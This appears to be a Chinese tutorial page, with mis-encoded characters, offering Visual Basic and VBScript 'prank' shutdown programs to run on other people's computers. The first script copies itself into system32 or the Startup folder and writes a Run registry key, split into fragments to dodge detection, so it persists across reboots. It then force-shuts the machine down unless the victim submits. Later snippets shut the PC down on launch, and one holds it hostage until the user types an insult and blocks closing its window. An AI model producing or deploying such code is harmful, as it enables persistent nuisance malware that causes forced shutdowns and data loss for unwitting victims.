VB關(guān)機(jī)惡搞小程序
VB關(guān)機(jī)惡搞小程序一:
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請(qǐng)不要隨便動(dòng)我的電腦! " & Chr(13) & Chr(10) & "確定->下次一定會(huì)先征求同意的" & Chr(10) & "取消->愛(ài)咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub
上面的有點(diǎn)復(fù)雜,那就來(lái)個(gè)稍微簡(jiǎn)單的
代碼如下:
Option Explicit Const SM_CLEANBOOT = 67 Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Const EWX_FORCE = 4 Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As Long Private Sub Form_Load() Call ExitWindowsEx(EWX_SHUTDOWN, 0) End Sub
當(dāng)你可以采用一個(gè)更加簡(jiǎn)單的寫(xiě)法
直接輸入以下代碼即可:
Private Sub Form_Load() Shell "cmd /c shutdown -s -t 30" Rem 后面的 -t 0 表示0秒關(guān)機(jī),如果去掉 -t 0 那么默認(rèn)是30秒關(guān)機(jī) End Sub
方法三:
Private Sub Command1_Click()
If Text1 = "我是豬" Then
Shell "cmd.exe /c shutdown -a"
MsgBox "哈哈放過(guò)你吧!", 64, "提示"
End
End If
End Sub
Private Sub Form_Load()
MsgBox "哈哈你中招了、快說(shuō)你是豬,否則1分鐘就讓你電腦關(guān)機(jī)", 48, "提示"
Shell "cmd.exe /c shutdown -s -t " & 60, vbHide
End Sub
Private Sub Form_Unload(Cancel As Integer)
g = MsgBox("想關(guān)掉我???", vbOKCancel + vbQuestion, "關(guān)閉窗口")
If g = vbOK Then
Cancel = 11
MsgBox "哈哈你關(guān)不掉我的快說(shuō)我是豬吧", 64, "提示"
End If
If g = 2 Then
Cancel = 11
End If
End Sub
- 可以定時(shí)自動(dòng)關(guān)機(jī)的vbs腳本
- 自己寫(xiě)的一個(gè)定時(shí)關(guān)機(jī)或重啟的vbs腳本
- vbs實(shí)現(xiàn)的定時(shí)關(guān)機(jī)、重啟的腳本和程序
- vbs實(shí)現(xiàn)的eMule電驢自動(dòng)關(guān)機(jī)腳本代碼
- VBS 斷網(wǎng)后自動(dòng)關(guān)機(jī)30秒后
- Crack8 VBS整人腳本 你不說(shuō)你愛(ài)我 就關(guān)機(jī)
- VBS中獲取系統(tǒng)本次及上次開(kāi)關(guān)機(jī)時(shí)間的代碼(WinXP/win2003/Win7兼容版)
- vb下的惡搞關(guān)機(jī)程序
相關(guān)文章
VB使用XMLHTTP實(shí)現(xiàn)Post與Get的方法
這篇文章主要介紹了VB使用XMLHTTP實(shí)現(xiàn)Post與Get的方法,有一定的借鑒價(jià)值,需要的朋友可以參考下2014-07-07
VB的32位程序在64位系統(tǒng)中出現(xiàn)文件和注冊(cè)表自動(dòng)轉(zhuǎn)向的解決方法
這篇文章主要介紹了VB的32位程序在64位系統(tǒng)中出現(xiàn)文件和注冊(cè)表自動(dòng)轉(zhuǎn)向的解決方法,需要的朋友可以參考下2014-07-07
VB實(shí)現(xiàn)的16位和32位md5加密代碼分享
這篇文章主要介紹了VB實(shí)現(xiàn)的16位和32位md5加密代碼分享,需要的朋友可以參考下2014-07-07
VB使用ADO操作Access數(shù)據(jù)庫(kù)
這篇文章主要介紹了VB使用ADO操作Access數(shù)據(jù)庫(kù)的相關(guān)資料,需要的朋友可以參考下2015-06-06
VB6實(shí)現(xiàn)連接Access數(shù)據(jù)庫(kù)的ADODB代碼實(shí)現(xiàn)方法
這篇文章主要介紹了VB6實(shí)現(xiàn)連接Access數(shù)據(jù)庫(kù)的ADODB代碼實(shí)現(xiàn)方法,對(duì)于初學(xué)者掌握VB鏈接access數(shù)據(jù)庫(kù)有著很好的借鑒價(jià)值,需要的朋友可以參考下2014-07-07
VB讀取線(xiàn)程、句柄及寫(xiě)入內(nèi)存的API代碼實(shí)例
這篇文章主要介紹了VB讀取線(xiàn)程、句柄及寫(xiě)入內(nèi)存的API代碼實(shí)例,需要的朋友可以參考下2014-07-07

